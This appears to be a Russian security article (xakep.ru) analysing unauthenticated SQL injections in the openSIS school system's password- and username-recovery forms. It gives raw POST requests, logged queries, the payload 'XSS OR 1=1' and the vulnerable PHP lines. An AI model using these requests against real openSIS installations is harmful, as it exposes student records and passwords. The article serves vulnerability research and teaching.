Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В этой статье мы с тобой разберем несколько видов SQL-инъекций на боевом примере — приложении openSIS, в коде которого я нашел несколько серьезных проблем. Если ты хочешь научиться обнаруживать потенциальные проблемы в коде на PHP, этот материал должен стать живой иллюстрацией. Особенно она будет полезна новичкам, которые хотят разобраться с темой SQLi. info
Если ты вдруг не в курсе, как вообще работают SQL-инъекции, специально для тебя написана статья «SQL-инъекции. Разбираем на пальцах одну из самых популярных хакерских техник».
openSIS — это бесплатная и открытая информационная система для учебных заведений, доступная для школ и высших учебных заведений. Она разработана и поддерживается компанией Open Solutions for Education.
Я установил это приложение локально, что позволило мне видеть все запросы, отправляемые им в базу данных. Другими словами, тестирование проводилось методом белого ящика: знание кода и структуры данных позволило тщательно изучить, как обрабатывается то, что ввел пользователь, и как формируются SQL-запросы.
Я искал те места в коде, где ввод подставляется в SQL-запрос без должной проверки и чистки (валидации и санитизации). Давай посмотрим, что мне удалось найти.
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Первым делом нам потребуется настроить логирование запросов к базе данных. То есть нам нужно записывать выполняемые запросы к базе, чтобы потом по ним можно было посмотреть, как программа реагировала на то, что пользователь вводил на сайте. Это поможет нам нагляднее увидеть проблемы и воспользоваться ими.
В MySQL или MariaDB для включения логирования нужно выполнить следующее:
mysql.log
в директории /var/log/mysql
. Изменить права на файл или папку и предоставить разрешения пользователю mysql:
chown mysql:mysql /var/log/mysql -R
Открыть файл с настройками MySQL/MariaDB, обычно расположенный в /etc/mysql/my.cnf
или /etc/my.cnf
.
Найти секцию [mysqld]
(если ее нет, добавить самостоятельно).
Добавить или раскомментировать следующие строки для включения логирования запросов:
general_log = 1general_log_file = /var/log/mysql/mysql.log
Перезапустить сервис MySQL/MariaDB, чтобы изменения вступили в силу.
Забегая вперед, скажу, что мы найдем (но не будем эксплуатировать) «слепые» SQL-инъекции. В отличие от других форм SQLi, слепые SQL-инъекции не раскрывают данные напрямую и требуют тонкого подхода к извлечению данных. Слепые SQL-инъекции делятся на две основные категории: на основе булевых значений и на основе времени.
В булевой слепой SQLi мы изменяем SQL-запрос так, чтобы система возвращала булево значение — то есть ответ на то, истинно выражение или ложно. Этот тип атаки использует бинарную природу ответов: содержимое веб‑страницы или код ответа HTTP будет изменяться в зависимости от истинности внедренного запроса. Например, изменение запроса может привести к тому, что какие‑то элементы на веб‑странице будут появляться и исчезать в зависимости от того, истинны ли результаты запроса (условие существует в базе данных) или ложны (его нет).
Временные слепые SQL-инъекции более скрытны. Здесь мы внедряем SQL-команды, которые заставляют базу данных задуматься чуть дольше обычного, и используем это, чтобы вытащить из нее данные. Отсутствие визуальной обратной связи на странице делает эти атаки особенно трудными для обнаружения. Если условие запроса истинно, ответ базы данных намеренно задерживается, и отсутствие задержки означает «ложь». Измеряя время ответа, мы можем определить наличие или отсутствие конкретных данных в базе.
При поиске багов в приложении ты должен ориентироваться в первую очередь на уязвимости, которые не требуют аутентификации пользователя, так как они самые опасные. Я нашел две похожие SQL-инъекции в разделе «Студент» в функциях, отвечающих за восстановление имени пользователя и пароля.
Я отправил два запроса: первый, имитируя работу формы Forgot Password, второй — Forgot Username.
Forgot Password:
POST /openSIS/ResetUserInfo.php HTTP/1.1 Host: 192.168.147.131 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 pass_user_type=pass_student&pass_type_form=password&password_stn_id=XSS&uname=aaaaa&month_password_dob=04&day_password_dob=25&year_password_dob=2024&pass_email=bbbbb&password_stf_email=ccccc&TOKEN=697a3d1713a51879a79ee08052d4683c68d78a1c776f606e32e92127d04c33e5
Forgot Username:
POST /openSIS/ResetUserInfo.php HTTP/1.1 Host: 192.168.147.131 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 uname_user_type=uname_student&user_type_form=username&username_stn_id=XSS&pass=aaaaaaa&month_username_dob=04&day_username_dob=30&year_username_dob=2024&un_email=&username_stf_email=&TOKEN=bf2278f6caffbf561127ce91c29849fdff3b9add9d88dcd7118f8cf1fca807b5&save=Confirm
Вот в какие SQL-запросы это трансформировалось:
Query SELECT s.* FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='aaaaa' AND s.BIRTHDATE='2024-04-25' AND s.STUDENT_ID=XSS AND la.PROFILE_ID=3Query SELECT la.PASSWORD FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='2024-04-30' AND la.PROFILE_ID=3 AND s.STUDENT_ID=XSS
Как видишь, s.STUDENT_ID
не заключен в кавычки, что делает эту переменную уязвимой для SQL-инъекций. Я могу использовать полезную нагрузку XSS OR 1=1
:
tail -f /var/log/mysql/mysql.log | grep -i 'xss'2024-04-27T13:35:15.303711Z 9 Query SELECT s.* FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='aaaaa' AND s.BIRTHDATE='2024-04-25' AND s.STUDENT_ID=XSS OR 1=1 AND la.PROFILE_ID=3 2024-04-27T13:35:29.563796Z 10 Query SELECT la.PASSWORD FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='2024-04-30' AND la.PROFILE_ID=3 AND s.STUDENT_ID=XSS OR 1=1
Вот как выглядит уязвимый код для восстановления юзернейма. Файл ResetUserInfo.php
, строка 395:
$get_stu_info = DBGet(DBQuery('SELECT la.PASSWORD FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='' . date('Y-m-d', strtotime($stu_dob)) . '' AND la.PROFILE_ID=3 AND s.STUDENT_ID=' . $username_stn_id . ''));
А вот уязвимый код, который обрабатывает форму восстановления пароля. Файл ResetUserInfo.php
, строка 296:
$stu_info = DBGet(DBQuery('SELECT s.* FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='' . $uname . '' AND s.BIRTHDATE='' . date('Y-m-d', strtotime($stu_dob)) . '' AND s.STUDENT_ID=' . $password_stn_id . ' AND la.PROFILE_ID=3'));
Отсюда мы можем понять, что если грепнуть по выражению =' . $
, то мы, вероятно, получим все параметры, которые не заключены в кавычки.
Источник: xakep.ru